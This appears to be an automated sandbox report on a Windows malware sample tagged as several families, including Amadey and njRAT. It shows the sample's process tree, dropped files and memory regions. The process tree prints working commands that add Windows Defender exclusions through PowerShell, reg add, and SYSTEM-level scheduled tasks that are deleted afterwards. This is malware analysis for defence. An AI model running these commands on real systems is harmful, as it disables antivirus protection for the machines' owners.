Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 22:30

General

  • Target
    2026-08-05_1dac04ed185b2b7e18249a39750efc14_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
  • Size 61.7MB
  • Sample260805-2fa8bahk5x
  • SHA256 9ba4098cb7468633cd3d2dc7885c674f041de37b689881d479d61fd4260a953e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-05_1dac04ed185b2b7e18249a39750efc14_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-05_1dac04ed185b2b7e18249a39750efc14_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3364
  • C:\Users\Public\RQpDr8\H2LM32.exe
    "C:\Users\Public\RQpDr8\H2LM32.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RQpDr8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\RQpDr8\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4600
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5340
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:6088
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6008
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2428
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5852
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3252
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4148
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5352
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1708
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:200
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4916
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2768
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5360
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4292
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2040
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3720
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:524
                      • C:\Users\Public\RQpDr8\H2LM32.exe
                        "C:\Users\Public\RQpDr8\H2LM32.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4444
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RQpDr8" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3560
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RQpDr8" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1276
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5848
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2868
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4200
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6016
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1368

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              H2LM32.exe

                              • Path C:\Users\Public\RQpDr8\H2LM32.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\RQpDr8\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 574888dc40b6a79125dd470235ebcba75b27277c63b1582c32c3bd12fb4b382f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\RQpDr8\adoresd.dat
                              • Size 4.7MB
                              • SHA256 436ce91d3787f783ccb2296b22bdd43f69f455ec4333c511733ff0580ca80b40
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\RQpDr8\msadox.tb
                              • Size 8KB
                              • SHA256 456ff60ae9349ddcf097248b1796ad11581b640d6a9f4f896d3adf02af798555
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3364-1-0x0000000005C90000-0x0000000005C9D000-memory.dmp

                              memory/3364-2-0x0000000005CA0000-0x0000000005CAB000-memory.dmp

                              memory/3364-504-0x00007FFFFE230000-0x00007FFFFE242000-memory.dmp

                              memory/3364-524-0x0000000005C90000-0x0000000005C9D000-memory.dmp

                              memory/3364-525-0x00007FFFFE230000-0x00007FFFFE242000-memory.dmp

                              memory/3364-0-0x0000000005C90000-0x0000000005C9D000-memory.dmp

                              memory/4444-583-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4444-572-0x00007FFFE1A40000-0x00007FFFE1F5E000-memory.dmp

                              memory/4444-585-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4444-586-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4444-584-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4444-587-0x00007FF804690000-0x00007FF804692000-memory.dmp

                              memory/4444-579-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4444-578-0x00007FF8046A0000-0x00007FF8046A2000-memory.dmp

                              memory/4444-576-0x00000159B87F0000-0x00000159B9081000-memory.dmp

                              memory/4660-544-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-530-0x00007FF804690000-0x00007FF804692000-memory.dmp

                              memory/4660-558-0x0000024598A00000-0x0000024598A8A000-memory.dmp

                              memory/4660-561-0x0000024598A00000-0x0000024598A8A000-memory.dmp

                              memory/4660-559-0x0000024598A00000-0x0000024598A8A000-memory.dmp

                              memory/4660-555-0x00000245988F0000-0x000002459893E000-memory.dmp

                              memory/4660-563-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-566-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-550-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-531-0x00007FFFE1A40000-0x00007FFFE1F5E000-memory.dmp

                              memory/4660-546-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-560-0x0000024598A00000-0x0000024598A8A000-memory.dmp

                              memory/4660-545-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-543-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-539-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4660-538-0x00007FF8046A0000-0x00007FF8046A2000-memory.dmp

                              memory/4660-536-0x0000024599560000-0x0000024599DF1000-memory.dmp

                              memory/4740-594-0x0000025C3BE30000-0x0000025C3BE52000-memory.dmp

                              memory/4740-597-0x0000025C3BE90000-0x0000025C3BEAE000-memory.dmp

                              memory/4740-598-0x0000025C3C120000-0x0000025C3C1D2000-memory.dmp

                              memory/4740-599-0x0000025C3BEB0000-0x0000025C3BEBA000-memory.dmp